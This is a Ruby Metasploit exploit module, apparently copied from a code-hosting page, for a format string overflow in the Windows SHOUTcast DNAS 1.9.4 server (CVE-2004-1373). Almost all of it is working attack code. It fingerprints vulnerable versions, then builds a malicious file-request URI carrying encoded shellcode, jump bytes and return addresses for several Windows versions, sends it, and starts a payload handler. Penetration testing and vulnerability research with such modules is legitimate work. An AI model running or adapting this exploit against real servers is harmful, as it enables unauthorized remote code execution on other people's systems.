100 lines
2.8 KiB
Ruby
100 lines
2.8 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'SHOUTcast DNAS/win32 1.9.4 File Request Format String Overflow',
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'Description' => %q{
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This module exploits a format string vulnerability in the
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Nullsoft SHOUTcast server for Windows. The vulnerability is
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triggered by requesting a file path that contains format
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string specifiers. This vulnerability was discovered by
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Tomasz Trojanowski and Damian Put.
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},
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'Author' => [ 'MC', 'mandragore[at]gmail.com'],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2004-1373'],
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[ 'OSVDB', '12585'],
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[ 'BID', '12096'],
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],
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'Privileged' => false,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 250,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Windows NT SP5/SP6a English', { 'Ret' => 0x776a1799 }], # ws2help.dll
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['Windows 2000 English ALL', { 'Ret' => 0x75022ac4 }], # ws2help.dll
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['Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad }], # ws2help.dll
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['Windows 2003 Server English', { 'Ret' => 0x7ffc0638 }], # PEB return
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],
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'DisclosureDate' => 'Dec 23 2004'))
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register_options(
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[
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Opt::RPORT(8000)
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], self.class)
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end
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def check
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r = send_request_raw({
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'uri' => uri
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}, 5)
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return Exploit::CheckCode::Safe if not r
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m = r.body.match(/Network Audio Server\/([^\s]+)\s+([^<]+)<BR/)
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return Exploit::CheckCode::Safe if not m
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print_status("This system is running SHOUTcast #{m[1]} on #{m[2]}")
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# SHOUTcast Distributed Network Audio Server/win32 v1.9.2<BR>
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if (m[1] =~ /v1\.([0-8]\.|9\.[0-3])$/)
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if (m[2] == "win32")
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return Exploit::CheckCode::Vulnerable
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end
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print_status("Vulnerable version detected, but not a win32 host")
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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num = 1046 - payload.encoded.length
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uri = '/content/%#0' + num.to_s + 'x' + payload.encoded
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uri << "\xeb\x06" + rand_text_alphanumeric(2)
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uri << [target.ret].pack('V')
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uri << "\xe9\x2d\xff\xff\xff"
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uri << '#0100x.mp3'
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print_status("Trying to exploit target #{target.name} 0x%.8x" % target.ret)
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send_request_raw({
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'uri' => uri
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}, 5)
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handler
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disconnect
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end
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end
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